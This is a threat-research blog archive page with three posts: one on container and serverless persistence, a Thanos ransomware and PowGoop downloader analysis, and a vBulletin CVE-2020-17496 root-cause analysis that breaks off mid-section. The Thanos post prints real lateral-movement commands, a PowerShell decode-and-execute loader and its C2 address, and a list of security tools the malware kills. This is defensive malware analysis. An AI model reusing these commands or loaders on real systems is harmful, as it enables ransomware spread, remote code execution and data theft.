Page 42 – Unit 42

The Challenge of Persistence in Containers and Serverless

Posted on September 10, 2020June 6, 2024 by Erica Naone

Executive Summary

Seasoned attackers will tell you that persistence is an important part of any successful hacking campaign. Persistence allows attackers to maintain continuous control of their captured servers. Whether they are hijacking resources, exfiltrating data or using their target machines as proxies, attackers always face the risk of having their treasured vulnerabilities patched and sealed, eliminating their way in. The shift from traditional computing to technologies like containers and serverless has made persistence harder to obtain, thanks to the transient nature and strong isolation mechanisms of these technologies.

Palo Alto Networks customers are protected from these attacks by Prisma Cloud, which successfully detects and mitigates vulnerabilities as well as using Prisma Cloud Compute’s extensive audits and runtime defense features to catch adversaries attempting to obtain persistence on their machines.

Containers and Serverless Limit Attackers

Mitigating vulnerabilities is often the main focus of container and serverless security audits. Security auditors scan for all known vulnerabilities in running containers and in images to prevent any flaw that malicious actors could exploit. Yet even the most careful and pedantic security review cannot detect zero-day vulnerabilities that some sophisticated adversaries might be lucky to own.

For that reason, successful security models include multiple layers of defense. Attackers who manage to gain an initial foothold are hindered by runtime protections, limited privileges and confined access to resources such as computing, memory and networking. What is the adversary able to achieve upon successfully exploiting a vulnerability? In what ways could attackers exfiltrate data or impact services?

This is where containerized environments and serverless have an inherent benefit over traditional computing. Containers are limited in their function and privilege by design. They are temporary and disposable, and their resources can be easily controlled. Serverless functions are even further limited in their scope. They are only executed on call and are often designed with limited privileges and access to resources.

Persistence, a Challenge

Certainly, attackers may have a hard time leveraging breached containers or serverless functions to their use. But obtaining persistence over these instances may prove to be an even larger challenge.

Let us briefly discuss the idea of persistence. Through successful exploitation, attackers may gain temporary access to a target machine and use it for their benefit. They could run cryptominers or extract data. But soon enough, the vulnerability that let them in may be patched. In order to retain control of the machine – and their payload – attackers must find a way to base their presence in that machine. Persistence can be achieved through simple, passive methods, such as editing configurations, or by more active methods such as installing or modifying binaries and libraries. The attackers may have their code run on the machine periodically, at every boot or on their demand, thus providing them access to the machine even if their initial entry method is mitigated. This piece of code or configuration that lets the attackers back in is called a backdoor, and they may control it through their own machine or through a command and control (C2) server connected to a horde of infected machines.

Now let’s take a look at containers. As a rule of thumb, containers are meant to be short-lived. Many containers have a lifespan from a few hours to a couple of days. Even in the rare cases where containers are being used for indefinite periods, such as to replace permanent virtual machines (VMs), they are disposed of and relaunched every time there is an update or change to the container image. Container orchestrators such as Kubernetes rely on that concept to the core, spinning up containers automatically on a large scale.

Container Persistence

With containers being ephemeral, the traditional methods that attackers use to obtain persistence are only partially effective. Methods such as installing cron jobs, modifying binaries or making other changes to files would only last until the container is shut down.

Creative attackers might try to find non-standard ways to persist in containers by exploiting the architecture specific applications are built in. For example, if the container does anything like run code from persistent storage (such as volumes or bind mounts) or a database, the attacker can hook on that functionality and install their backdoor in these external devices. Misconfigurations such as excessive container capabilities, or exposed credentials and API keys are also likely to be exploited by the attackers in search of persistence.

Nevertheless, how can attackers obtain persistence in standard containers when security is configured by the book? To escape the boundaries of the container environment, they must exploit vulnerabilities in its heart. That is, they must exploit either the operating system (OS) kernel, the container runtime or the orchestrator.

It is possible that established and well-funded attackers will have a zero-day vulnerability that can help them accomplish this. But it is not always needed. If their target runs outdated software, they could be successful with known past vulnerabilities that allow escaping a container. There are numerous publicly known vulnerabilities in the Linux kernel and kernel modules that allow attackers to execute code in the kernel scope, or otherwise escape a container’s limitations.

Vulnerabilities in the container implementation, such as in Docker or runC, could also let the attacker escape and obtain persistence on the container host. One famous example from recent times is CVE-2019-5736, which would allow attackers to escape a container when the exec command is run. Other vulnerabilities discovered in the past would allow full escape with zero user interaction once an attacker landed in a container. One example is the recently disclosed Windows container escape.

Potential Attack Surfaces for Container Persistence include: container runtime vulnerability or misconfiguration, kernel vulnerability, exposed storage, exposed cloud API and orchestrator vulnerability or misconfiguration. — Figure 1. Potential attack surfaces for container persistence (simplified).

Serverless Persistence

Despite their similarities to containers, serverless functions expose fewer attack vectors through which they can be compromised. Serverless functions run in a controlled environment, provided by the serverless platform. The scope of each function is limited to parsing its input and completing its action. Everything else from networking to storage is handled by the cloud provider. In order to attack a serverless function when lacking any misconfigurations to exploit or a vulnerability in the cloud provider itself, an attacker must find either a flaw in the function code or a vulnerability in any package used by that code.

For example, a function running a Python handler to parse YAML data would be vulnerable to flaws in its YAML parsing package and its dependencies. The attacker could invoke the function with data that triggers the exploit and gain control of that function’s execution environment.

The environment exposed to a successful attacker is rather limited. The actual privileges and restrictions the attacker would encounter depend both on the nature of the vulnerability and on the architecture of the serverless platform. But one thing that is universal for serverless functions is that their lifespan is short.

Serverless functions are expected to run for a few seconds, complete their objective and diminish, until a new instance starts up when called for again. Not only that, but the runtime environment in which the serverless functions run is also temporary. The Amazon Web Services (AWS) Lambda runtime, for instance, lasts approximately 15 minutes when left untriggered.

In a recent article on AWS Lambda persistence, Unit 42 researcher Yuval Avrahami demonstrated that an attacker could persist in the serverless environment between function invocations. An attacker could successfully control the handler results and leak the data from multiple executions.

In order to obtain real persistence, however, the attacker would have to prevent the AWS framework from taking down the instance being controlled. This can be achieved by continuously delivering requests to the function, a process sometimes referred to as keeping the function “warm.”

By invoking the function periodically in a pattern, the attacker would likely increase the chance of the compromised function being detected. Therefore, sophisticated attackers would have to come up with additional methods to obfuscate their intent. Even so, such a scenario is not far-fetched.

Conclusion

Both containers and serverless functions limit malicious actors from achieving persistence, each with its own constraints. Successful attackers would either have to settle for temporary execution, or find ways to break out of the container or function sandbox to get real persistence. While the same constraints can be applied to traditional VMs as well, it is likely that they are not designed to be ephemeral like containers or serverless functions.

From a defensive point of view, this makes both containers and serverless convenient for continuous security. Breached containers or functions can be easily detected and disposed of, while new patched code could rapidly be pushed to retain functionality.

Palo Alto Networks customers using Prisma Cloud can successfully detect and mitigate vulnerabilities and rely on Prisma Cloud Compute’s extensive audits and runtime defense features to catch adversaries attempting to obtain persistence on their machines.

Thanos Ransomware: Destructive Variant Targeting State-Run Organizations in the Middle East and North Africa

Posted on September 4, 2020June 6, 2024 by Robert Falcone

Executive Summary

On July 6 and July 9, 2020, we observed files associated with an attack on two state-run organizations in the Middle East and North Africa that ultimately installed and ran a variant of the Thanos ransomware. The Thanos variant created a text file that displayed a ransom message requesting the victim transfer “20,000$” into a specified Bitcoin wallet to restore the files on the system. We do not have visibility into the overall impacts of these attacks or whether or not the threat actors were successful in receiving a payment from the victims.

Figure 1. Thanos’ ransom note displayed after encrypting files.

The ransomware was also configured to overwrite the master boot record (MBR), which is an important component loaded on a system’s hard drive that is required for the computer to locate and load the operating system. The ransomware overwrites the MBR to display the same ransom message as the previously mentioned text file, which is a technique we do not see often. The most notable example we’ve observed involved the Petya ransomware in 2017. Overwriting the MBR is a more destructive approach to ransomware than usual. Victims would have to expend more effort to recover their files – even if they paid the ransom. Fortunately, in this case, the code responsible for overwriting the MBR caused an exception because the ransom message contained invalid characters, which left the MBR intact and allowed the system to boot correctly. This means that even though the ransomware was configured to overwrite the MBR, the threat actors were unsuccessful in causing the computers they infected with the Thanos ransomware not to boot.

Figure 2. Thanos’ ransom note displayed if MBR overwrite was successful.

The Thanos ransomware was first discussed by Recorded Future in February 2020 when it was advertised for sale on underground forums. The Thanos ransomware has a builder that allows actors to customize the sample with a variety of available settings. The fact Thanos is for sale suggests the likelihood of multiple threat actors using this ransomware. However, we believe with high confidence that the same actor used a Thanos variant in attacks on two state-run organizations in the Middle East and North Africa.

Based on our telemetry, we first observed Thanos on Jan. 13, 2020, and have seen over 130 unique samples since. We believe the threat actors had prior access to these organizations’ networks, as the samples contained credentials that we believe the actors had stolen from systems on these organizations’ networks prior to the delivery of the ransomware.

This particular attack involved multiple layers of PowerShell scripts, inline C# code and shellcode in order to load Thanos into memory and to run it on the local system. These layers were largely based on code freely available in open source frameworks, such as Sharp-Suite and Donut. One of the layers involved a custom PowerShell that was responsible for spreading Thanos to other systems on the local network using previously mentioned stolen credentials.

We analyzed this specific Thanos sample that the actors built for the Middle Eastern and Northern African state-run organizations. We determined that the ransomware was loaded into and run from within memory at these organizations. We found the Thanos variant is functionally very similar to the variant discussed by Fortinet in July 2020. The sample analyzed by Fortinet also contained network-spreading functionality enabled, which included network credentials from another state-run organization in the same municipality as the Middle Eastern state-run organization we observed. The sample analyzed by Fortinet included the same Bitcoin wallet and contact email that we observed. When combined with the targeting of an organization in the same municipality in a similar time frame, this suggests a common actor behind these attacks.

Palo Alto Networks customers are protected from the attacks discussed in this blog by WildFire, which correctly identifies all related samples as malicious, and Cortex XDR, which blocks the components involved in this ransomware infection.

Overview of Thanos Variant Activity

We do not know how the actors delivered the Thanos ransomware to the two state-run organizations in the Middle East and North Africa. However, we know the threat group behind the use of these tools had previous access to these networks as they had already obtained valid credentials from the networks. The exact same Thanos sample was used at both of these organizations, which suggests that the same actor created the sample using the Thanos builder.

The Thanos sample created for these networks executes several layers before the .NET Thanos ransomware runs on a system, specifically using code from several open source frameworks. The layers start at the top with a PowerShell script that not only loads another PowerShell script as a sub-layer, but also attempts to spread the ransomware to other systems on the network using previously stolen credentials. The PowerShell in the second layer does nothing more than load embedded C# code inline so the initial PowerShell script can execute it. The C# code is the third layer, and it is based on UrbanBishop, which is publicly available as part of the Sharp-Suite framework on GitHub. The UrbanBishop code is responsible for writing shellcode to a remote process and executing it, of which the shellcode is the final layer before running the Thanos ransomware. The shellcode in this case was created by Donut, which is another open source framework that will generate shellcode that can load and execute .NET assemblies in memory.

Figure 3. Layers executed to run the Thanos ransomware on the system.

PowerShell Spreader

The PowerShell spreader, which we call LogicalDuckBill, has two primary purposes:

Loading and running the Thanos ransomware.
Spreading to other systems by copying itself to and executing itself on remote systems.

The loader functionality within LogicalDuckBill starts with a base64 encoded PowerShell script that it will decode and run using the IEX command. The PowerShell decoded and executed contains the following code, which effectively loads C# code based on UrbanBishop that LogicalDuckBill will call later to inject shellcode:

$code = @"

[C# code based on UrbanBishop]

Add-Type -TypeDefinition $code -Language CSharp

LogicalDuckBill will then check to see if a file named “logdb.txt” or “logdb.txt.locked” exists in the “c:\” drive before running, which is the method the spreader uses to be sure to only run one instance of the embedded ransomware on each system. We also observed another related sample that looked for “logdbnnn.txt” instead, which is why we call this script LogicalDuckBill. If these files are not present, LogicalDuckBill will write “1” to this text file and then continue to carry out its functionality.

LogicalDuckBill then creates a “notepad.exe” process, which it will then iterate through running processes to find the process ID (PID) of the created “notepad.exe” process. With the PID of the notepad process, the PowerShell script calls the “Do” method in the loaded C# code based on UrbanBishop, which ultimately injects shellcode generated by the Donut framework into the notepad process and executes it. The shellcode then decrypts and loads an embedded .NET executable into memory and executes it, which is the Thanos ransomware payload.

The spreader functionality of LogicalDuckBill starts with the script using the Get-NetTCPConnection cmdlet to get the remote addresses of the current TCP connections on the system. The code then looks through these remote addresses for those that start with 10., 172. and 192. as the first octet and will iterate through each discovered network by changing the last octet from 1 to 254 in a loop. For each iteration, the script will use the Test-NetConnection cmdlet to see if the script can connect to each remote system over SMB port tcp/445, and if it can, it uses the net use command to connect to the remote system with previously stolen credentials and mounts the remote system’s C: drive to the local system’s X: drive. The script then uses the copy command to copy itself to the newly mapped X: drive, which effectively copies LogicalDuckBill to the remote system. The script will then use wmic to run process call create on the remote system to run the newly copied LogicalDuckBill sample on the remote system. The spreading functionality finished each iteration by deleting the mapped drive, all of which is carried out by the following code:

if((Test-NetConnection $tr -Port 445).TcpTestSucceeded){

net use x: \\[IP address]\c$ /user:[Victim Domain]\[Username] [Password]

copy c:\windows\update4.ps1 x:\windows\update4.ps1

wmic /node:[IP address] /user:[Victim Domain]\[Username] /password:[Password] process call create "powershell -exec bypass -file c:\windows\update4.ps1"

net use x: /del /y

}

This spreading method in LogicalDuckBill is similar to one found within Thanos’ C# code. However, using the PowerShell script to spread allowed the actors to include previously stolen network credentials when creating the mapped drive and when running the copied PowerShell script using wmic.

Thanos Ransomware

The Thanos ransomware was first observed by Recorded Future in February 2020 when it was advertised for sale on underground forums. The Thanos ransomware has code overlaps with other ransomware variants, such as Hakbit, and has a builder that allows the user to customize the sample with a variety of available settings. This ransomware appears to be still under active development, as we observed newly added functionality in the samples built to run on the Middle Eastern and Northern African state-run organizations compared to the original samples analyzed by Recorded Future. In fact, the Thanos ransomware built to run on these two organizations’ networks was closer in available functionality to the variant discussed by Fortinet in July 2020. The most obvious difference is that the disabling of safe boot discussed by Fortinet is not available in these samples.

Like other Thanos ransomware samples, the variant built to run on these two organizations’ networks uses a 2048-bit RSA public key to encrypt files whose file extensions match those listed in Table 1. After encrypting the file’s contents, Thanos will add the file extension “.locked” to the file on disk.

dat	ppt	mdb	odg	backup	aiff
txt	doc	dbf	raw	pdf	flac
jpeg	docx	odb	nef	cert	m4a
gif	sxi	myd	svg	docm	csv
jpg	sxw	php	psd	xlsm	sql
png	odt	java	vmx	dwg	ora
php	hwp	cpp	vmdk	bak	mdf
cs	tar	pas	vdi	qbw	ldf
cpp	bz2	asm	lay6	nd	ndf
rar	mkv	key	sqlite3	tlg	dtsx
zip	eml	pfx	sqlitedb	lgb	rdl
html	msg	pem	accdb	pptx	dim
htm	ost	p12	java	mov	mrimg
xlsx	pst	csr	class	xdw	qbb
xls	edb	gpg	mpeg	ods	rtf
avi	sql	aes	djvu	wav	7z
mp4	accdb	vsd	tiff	mp3

Table 1. List of extensions of files that Thanos will encrypt.

This variant of Thanos writes a ransom note to a file named “HOW_TO_DECYPHER_FILES.txt” to the desktop and all of the folders that contained files that Thanos encrypted. The ransom note, as seen in Figure 2, requests “20,000$” worth of Bitcoin be transferred to a wallet “1F6sq8YvftTfuE4QcYxfK8s5XFUUHC7sD9” and a contact email of “josephnull@secmail.pro” to recover the encrypted files. The contact email and Bitcoin wallet ID were seen by other researchers and organizations in July 2020, as seen in the .HTA ransom note displayed in Fortinet’s blog and several tweets.

The features and functionality within the Thanos ransomware have been analyzed by other organizations. Instead of rehashing this analysis, we will only discuss the functionality that was enabled within this variant of Thanos that had not been discussed previously. However, we delineate which previously discussed functionalities are disabled and enabled in this variant of Thanos in Tables 2 and 3 respectively.

Max. File Size	Protect Process	Disable FAC
Persistence - Melt	Wallpaper	Static Pass
Deceiving Msg	Immortal Process	RIPlace
Unlock Files	FTP Logger	Data Stealer
Anti-VM	Wake-on-LAN	Max. Steal Size
Delay	Delayed Activation	Alternate Algo
AMSI Bypass	Client Expiration	Drag and Drop

Table 2. Disabled functionality, which are likely unchecked boxes on the Thanos ransomware builder user interface (UI).

Kill Defender	Fast Mode	Enhanced Notifications
LAN	AntiKill	Customize Notifications

Table 3. Enabled functionality, which are likely checked boxes on the Thanos ransomware builder UI.

The first configuration option enabled that doesn't match the analysis of previous variants of Thanos starts with the code trying to disable User Account Control (UAC) by setting the keys "LocalAccountTokenFilterPolicy" and "EnableLinkedConnections" in SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System to 1. It then attempts to enumerate local and mapped storage volumes. To enumerate the local volumes, the code creates and runs a batch script that is almost exactly the same as the batch script used by Ragnar Locker ransomware to enumerate the local storage volumes. Ragnar Locker used this script to create a VirtualBox configuration file that sets these volumes as SharedFolders, which allows Ragnar Locker to access the local storage volumes while it runs within a VirtualBox virtual machine, as discussed by Sophos. The Thanos implementation does not write the results to a VirtualBox configuration file. Instead, it just prints the configuration to the screen, but does not save the output. Therefore, we cannot be certain of the purpose of this functionality.

The second functionality enabled in this sample that had not been observed in previous Thanos variants involved the ability to overwrite the master boot record (MBR). Once the code checks to see if the operating system version is not "Windows 10" or "Windows 8," the code will attempt to open "\\.\PhysicalDrive0" and write a 512-byte string to offset 0. The byte array that is written to offset 0 of "\\.\PhysicalDrive0" initially has a ransom message of "Your files are encrypted. Contact us at: get-my-data@protonmail.com...", but the code will replace this string with the following string before writing to disk:

Don\xe2\x80\x99t worry, you can return all your files!\r\n\r\nThe Price to get all things to the normal : 20,000$\r\nMy BTC Wallet ID :\r\n1F6sq8YvftTfuE4QcYxfK8s5XFUUHC7sD9\r\n\r\nContact: josephnull@secmail.pro\r\n

The interesting part of the overwriting of the MBR in this specific sample is that it does not work correctly, which can be blamed on either a programming error or the custom message included by the actor. As you can see above, the custom message has the bytes "\xe2\x80\x99" for the apostrophe character in unicode, but the code attempts to convert each character using the "Convert.ToByte" function to replace a single byte in the initial ransom string. However, the unicode apostrophe character is three bytes long and causes an exception that breaks the MBR overwriting functionality. We confirmed that after changing this single character, the MBR overwriting functionality works, which results in the following being displayed instead of Windows booting correctly:

The third previously unmentioned functionality in this Thanos sample involves creating a thread that watches for newly connected storage volumes. The code uses a management event watcher that calls a function when a new storage volume is connected using the following WMI query:

SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2

When the event watcher detects a new storage volume connected, it creates a thread that carries out the file encrypting functionality used by Thanos to encrypt files on the original storage volumes.

The last functionality added to this version of Thanos is the ability to detect and kill more analysis tools to evade detection and analysis. The sample will enumerate through running processes and kill those whose names match the following:

http analyzer stand-alone	intercepter	procexp64
fiddler	Intercepter-NG	RDG Packer Detector
effetech http sniffer	ollydbg	CFF Explorer
firesheep	x64dbg	PEiD
IEWatch Professional	x32dbg	protection_id
dumpcap	dnspy	LordPE
wireshark	dnspy-x86	pe-sieve
wireshark portable	de4dot	MegaDumper
sysinternals tcpview	ilspy	UnConfuserEx
NetworkMiner	dotpeek	Universal_Fixer
NetworkTrafficView	dotpeek64	NoFuserEx
HTTPNetworkSniffer	ida64
tcpdump	procexp

Table 4. List of tools this Thanos variant will detect and kill to evade detection

Possibly Related Downloader: Introducing PowGoop

While we cannot confirm the connection, we believe the actors deploying the Thanos ransomware at the Middle Eastern state-run organization also used a downloader that we call PowGoop. The actors would use the PowGoop downloader to reach out to a remote server to download and execute additional PowerShell scripts. The files existed in the same environment as the LogicalDuckBill sample previously discussed, but we did not observe the actors specifically running both PowGoop and the LogicalDuckBill spreader. Also, as expected, there is very little code overlap between the PowerShell code in this downloader and LogicalDuckBill, as their functionality differs dramatically. The only code overlap is a common variable name $a that both of the scripts use to store the base64 encoded data prior to decoding, which is not a strong enough connection to suggest a common author.

The PowGoop downloader has two components: a DLL loader and a PowerShell-based downloader. The PowGoop loader component is responsible for decrypting and running the PowerShell code that comprises the PowGoop downloader. The PowGoop loader DLL that existed in the same environment as LogicalDuckBill had a filename of goopdate.dll that was likely sideloaded by the legitimate and signed Google Update executable. The sideloading process would start with the legitimate GoogleUpdate.exe file loading a legitimate DLL with a name of goopdate86.dll. The sideloading would occur when the goopdate86.dll library loads the goopdate.dll file, which effectively runs the PowGoop loader. We observed the following files that are likely associated:

SHA256	Filename
b60e92004d394d0b14a8953a2ba29951c79f2f8a6c94f495e3153dfbbef115b6	GoogleUpdate.exe
dea45dd3a35a5d92efa2726b52b0275121dceafdc7717a406f4cd294b10cd67e	goopdate86.dll
a224cbaaaf43dfeb3c4f467610073711faed8d324c81c65579f49832ee17bda8	goopdate.dll
b7437e3d5ca22484a13cae19bf805983a2e9471b34853d95b67d4215ec30a00e	config.dat

Table 5. List of files associated with the sideloading of the PowGoop downloader

The goopdate.dll file is the PowGoop loader, whose functionality exists within an exported function named DllRegisterServer. The goopdate.dll file’s DllEntryPoint function, which would be called if loaded via the sideloading process mentioned above, does nothing more than attempt to run the DllRegisterServer exported function using the following command:

rundll32.exe <module filename>,DllRegisterServer

The functional code in DllRegisterServer reads a file named config.dat, decodes it and runs it as a PowerShell script, which is the PowGoop downloader component. To decode the config.dat file, the DLL builds and executes a PowerShell script using the CreateProcessA function. The PowerShell script built by the PowGoop loader will read the contents of the config.dat file, base64 decode and decrypt the contents using a simple subtract by two cipher and run the result PowGoop downloader script using the IEX command, as seen in the following:

powershell -exec bypass function bdec($in){$out = [System.Convert]::FromBase64String($in);return [System.Text.Encoding]::UTF8.GetString($out);}function bDec2($szinput){$in = [System.Text.Encoding]::UTF8.GetBytes($szinput);for ($i=0; $i -le $in.count -1; $i++){$in[$i] = $in[$i] - 2;}return [System.Text.Encoding]::UTF8.GetString($in);}function bDd($in){$dec = bdec $in;$temp = bDec2 $dec;return $temp;}$a=get-content C:\\Users\\[username]\\Desktop

config.dat;$t =bDd $a;iex($t);

The config.dat file we decrypted is the PowGoop downloader that the actors configured to use the following URL as its command and control (C2):

http://107.174.241[.]175:80/index.php

The PowGoop downloader will communicate with the C2 server via HTTP GET requests to this URL. It will expect the C2 server to respond to requests with base64 encoded data that the script will decode, decompress the decoded data using System.IO.Compression.GzipStream and then decrypt the decompressed data using the same subtract by two cipher used to decrypt the config.dat file. It will first communicate with the C2 to obtain a unique identifier value that the C2 will assign to the compromised system. After obtaining this identifier, the script will continue to communicate with the C2 to obtain Tasks, which the script will decode, decompress, decrypt and run as PowerShell scripts. The script exfiltrates the result of a task to the C2 by encrypting the result using an add by two cipher, compressing the ciphertext and base64 encoding it, and transmitting it to the C2 server using a GET request with the data in the Cookie field of the HTTP request, specifically as the R value.

Conclusion

Actors used the Thanos ransomware to encrypt files and a PowerShell script to spread to additional systems, specifically on networks of two state-run organizations in the Middle East and North Africa. The Thanos variant created a text file that displayed a ransom message requesting the victim transfer “20,000$” into a specified Bitcoin wallet to restore the files on the system.

While the Thanos ransomware is not new, it appears that it is still under active development as the variant used in these attacks contained new functionality. The new functionality included the ability to detect and evade more analysis tools, the enumeration of local storage volumes via a technique used by the Ragnar Locker ransomware and a new capability to monitor for newly attached storage devices.

Most importantly, this variant of Thanos also included the new ability to overwrite the MBR and display the same ransom message. Overwriting the MBR is a much more destructive approach to ransomware than previously used by Thanos and would require more effort for victims to recover their files even if they paid the ransom.

Palo Alto Networks customers are protected from the attacks discussed in this blog in the following ways:

All known Thanos ransomware and LogicalDuckBill samples have malicious verdicts in WildFire.
AutoFocus customers can track this ransomware, PowerShell spreading script and the potentially related downloader with the tags Thanos, LogicalDuckBill and PowGoop.
Cortex XDR blocks Thanos ransomware, LogicalDuckBill and PowGoop.

Indicators of Compromise

LogicalDuckBill Samples

40890a1ce7c5bf8fda7bd84b49c577e76e0431e4ce9104cc152694fc0029ccbf

06d5967a6b90b5b5f6a24b5f1e6bfc0fc5c82e7674817644d9c3de61008236dc

cbb95952001cdc3492ae8fd56701ceff1d1589bcfafd74be86991dc59385b82d

240e3bd7209dc5151b3ead0285e29706dff5363b527d16ebcc2548c0450db819

Thanos Samples

7aa46a296fbebdf3b13d399bf0dbe6e8a8fbcbc9ba696e5698326494b0da2e54
58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f

c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850

ae66e009e16f0fad3b70ad20801f48f2edb904fa5341a89e126a26fd3fc80f75

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d

PowGoop Samples

b60e92004d394d0b14a8953a2ba29951c79f2f8a6c94f495e3153dfbbef115b6 (legitimate Google installer, GoogleUpdate.exe)

dea45dd3a35a5d92efa2726b52b0275121dceafdc7717a406f4cd294b10cd67e (legitimate Google DLL, goopdate86.dll)

a224cbaaaf43dfeb3c4f467610073711faed8d324c81c65579f49832ee17bda8 (PowGoop Loader, goopdate.dll)

b7437e3d5ca22484a13cae19bf805983a2e9471b34853d95b67d4215ec30a00e PowGoop Downloader, config.dat)

PowGoop Infrastructure

107.174.241[.]175

Exploits in the Wild for vBulletin Pre-Auth RCE Vulnerability CVE-2020-17496

Posted on September 3, 2020June 6, 2024 by Haozhe Zhang

Executive Summary

In September 2019, a remote code execution (RCE) vulnerability identified as CVE-2019-16759 was disclosed for vBulletin, a popular forum software. At that time, Unit 42 researchers published a blog on this vBulletin vulnerability, analyzing its root cause and the exploit we found in the wild. By exploiting this vulnerability, an attacker could have gained privileged access and control over any vBulletin server running versions 5.0.0 up to 5.5.4, and potentially lock organizations out from their own sites.

Recently, Unit 42 researchers found exploits in the wild leveraging the vBulletin pre-auth RCE vulnerability CVE-2020-17496. The exploits are a bypass of the fix for the previous vulnerability, CVE-2019-16759, which allows attackers to send a crafted HTTP request with a specified template name and malicious PHP code, and leads to remote code execution. More than 100,000 sites are built on vBulletin, including the forums of major enterprises and organizations, so it’s imperative to patch immediately.

In this blog, we provide details on the bypass of the patch of the vulnerability, proof of concept code (PoC) to demonstrate the vulnerability and information on attacks we have observed in the wild.

Palo Alto Networks customers are protected by the following services and products via Threat Prevention signatures and URL Filtering blocks the related C2 traffic.

Root Cause Analysis of the Vulnerability (CVE-2020-17496)

Template rendering is a functionality of vBulletin that can convert XML templates to PHP code and execute it. Beginning from version 5.0, vBulletin starts to accept Ajax requests for template rendering. The rendering is executed with a function staticRenderAjax. As shown in Figure 1, the values of parameters for this function are from $_REQUESTS, $_GET and $_POST. Thus, the template name and the related config which come from those parameters are user-controllable, which leads to the RCE vulnerability CVE-2019-16759.

The values and parameters for the function staticRenderAjax are from $_REQUESTS, $_GET and $_POST, as shown by the red arrows. — Figure 1. The callRender() in vBulletin < 5.5.5

When an attacker manipulates an Ajax request that contains template name widget_php and malicious code placed in the parameter widgetConfig[‘code’], the render engine will convert the XML template widget_php shown in Figure 2 to a string of PHP code, then execute the code by the eval function highlighted in Figure 3. Since the generated code has a line of vB5_Template_Runtime::evalPhp('' . $widgetConfig['code'], the malicious code in the request will be executed.

$final_rendered = '' . '';

if (empty($widgetConfig) AND !empty($widgetinstanceid))

{

$final_rendered .= ' ' . ''; $widgetConfig = vB5_Template_Runtime::parseData('widget', 'fetchConfig', $widgetinstanceid);

$final_rendered .= '' . ' ';

}

else {

$final_rendered .= '';

}

$final_rendered .= '' . ' ' . '';

if (!empty($widgetConfig))

{

$final_rendered .= ' ' . '';

$widgetid = $widgetConfig['widgetid'];

$final_rendered .= '' . ' ' . '';

$widgetinstanceid = $widgetConfig['widgetinstanceid'];

$final_rendered .= '' . ' ';

}

else

{

$final_rendered .= '';

}

$final_rendered .= '' . ' ' . vB5_Template_Runtime::includeTemplate('module_title',array('widgetConfig' => $widgetConfig, 'show_title_divider' => '1', 'can_use_sitebuilder' => $user['can_use_sitebuilder'])) . ' ' . '';

if (!empty($widgetConfig['code']) AND !vB::getDatastore()->getOption('disable_php_rendering'))

{

$final_rendered .= ' ' . '' . ' ' . vB5_Template_Runtime::evalPhp('' . $widgetConfig['code'] . '') . ' ';

}

else

{

$final_rendered .= ' ' . '';

if ($user['can_use_sitebuilder'])

{ $final_rendered .= ' ' . vB5_Template_Runtime::parsePhrase("click_edit_to_config_module") . ' ';

}

else

{

$final_rendered .= '';

}

$final_rendered .= '' . ' ';

}

$final_rendered .= '' . ' ';

$final_rendered = '' . '';

if (empty($widgetConfig) AND !empty($widgetinstanceid))

{

$final_rendered .= ' ' . ''; $widgetConfig = vB5_Template_Runtime::parseData('widget', 'fetchConfig', $widgetinstanceid);

$final_rendered .= '' . ' ';

}

else {

$final_rendered .= '';

}

$final_rendered .= '' . ' ' . '';

if (!empty($widgetConfig))

{

$final_rendered .= ' ' . '';

$widgetid = $widgetConfig['widgetid'];

$final_rendered .= '' . ' ' . '';

$widgetinstanceid = $widgetConfig['widgetinstanceid'];

$final_rendered .= '' . ' ';

}

else

{

$final_rendered .= '';

}

$final_rendered .= '' . ' ' . vB5_Template_Runtime::includeTemplate('module_title',array('widgetConfig' => $widgetConfig, 'show_title_divider' => '1', 'can_use_sitebuilder' => $user['can_use_sitebuilder'])) . ' ' . '';

if (!empty($widgetConfig['code']) AND !vB::getDatastore()->getOption('disable_php_rendering'))

{

$final_rendered .= ' ' . '' . ' ' . vB5_Template_Runtime::evalPhp('' . $widgetConfig['code'] . '') . ' ';

}

else

{

$final_rendered .= ' ' . '';

if ($user['can_use_sitebuilder'])

{ $final_rendered .= ' ' . vB5_Template_Runtime::parsePhrase("click_edit_to_config_module") . ' ';

}

else

{

$final_rendered .= '';

}

$final_rendered .= '' . ' ';

}

$final_rendered .= '' . ' ';

A red box highlights the function eval($templateCode) — Figure 3. Eval the PHP code rendered from the XML template

Beginning from version 5.5.5, a fix for CVE-2019-16759 was introduced into the function callRender() as shown in Figure 4. It uses a disallow-list mechanism to check the template name. If the name is widget_php, the engine won’t render the requested template.

Beginning from version 5.5.5, a fix for CVE-2019-16759 was introduced into the function callRender() It uses a disallow-list mechanism to check the template name. — Figure 4. The callRender() in vBulletin ≥ 5.5.5

Another fix is that the evalPhp function will check the current template name. After the fix, widget_php is the only template that can be used to execute PHP code, as shown in Figure 5.

The code in the red box begins: if (self::currentTemplate() != 'widget_php') -- It demonstrates how the evalPhp function checks the current template name. — Figure 5. evalPhp() executes code only when the template is widget_php

The fix makes widget_php the only template that can be utilized for PHP code execution, and meanwhile, restricts the user’s access to this template. However, in the latest bypass, we found that another template can be utilized to load this template. That template is widget_tabbedcontainer_tab_panel.

This shows code from the template widget_tabbedcontainer_tab_panel, which can be utilitzed to load widget_php — Figure 6. The template widget_tabbedcontainer_tab_panel

This template widget_tabbedcontainer_tab_panel shown in Figure 6, above, is a template that can be used to render multiple child templates. Rendering the template itself doesn’t directly lead to the remote code execution. However, the rendering of this template will trigger the rendering of other child templates.

The code below is the PHP code that is rendered from the widget_tabbedcontainer_tab_panel template in XML. After this code is generated, it will be executed.

$final_rendered = '' . '';

$panel_id = '' . vB5_Template_Runtime::vBVar($id_prefix).vB5_Template_Runtime::vBVar($tab_num) . '';

$final_rendered .= '' . '' . '' . ' ' . '';

if (isset($subWidgets) AND (is_array($subWidgets) OR $subWidgets instanceof ArrayAccess))

{

foreach ($subWidgets AS $subWidget)

{

$final_rendered .= ' ' . vB5_Template_Runtime::includeTemplate($subWidget['template'],array('widgetConfig' => $subWidget['config'], 'widgetinstanceid' => $subWidget['widgetinstanceid'], 'widgettitle' => $subWidget['title'], 'tabbedContainerSubModules' => $subWidget['tabbedContainerSubModules'], 'product' => $subWidget['product'])) . ' ';

}

}$final_rendered .= '' . '’;

$final_rendered = '' . '';

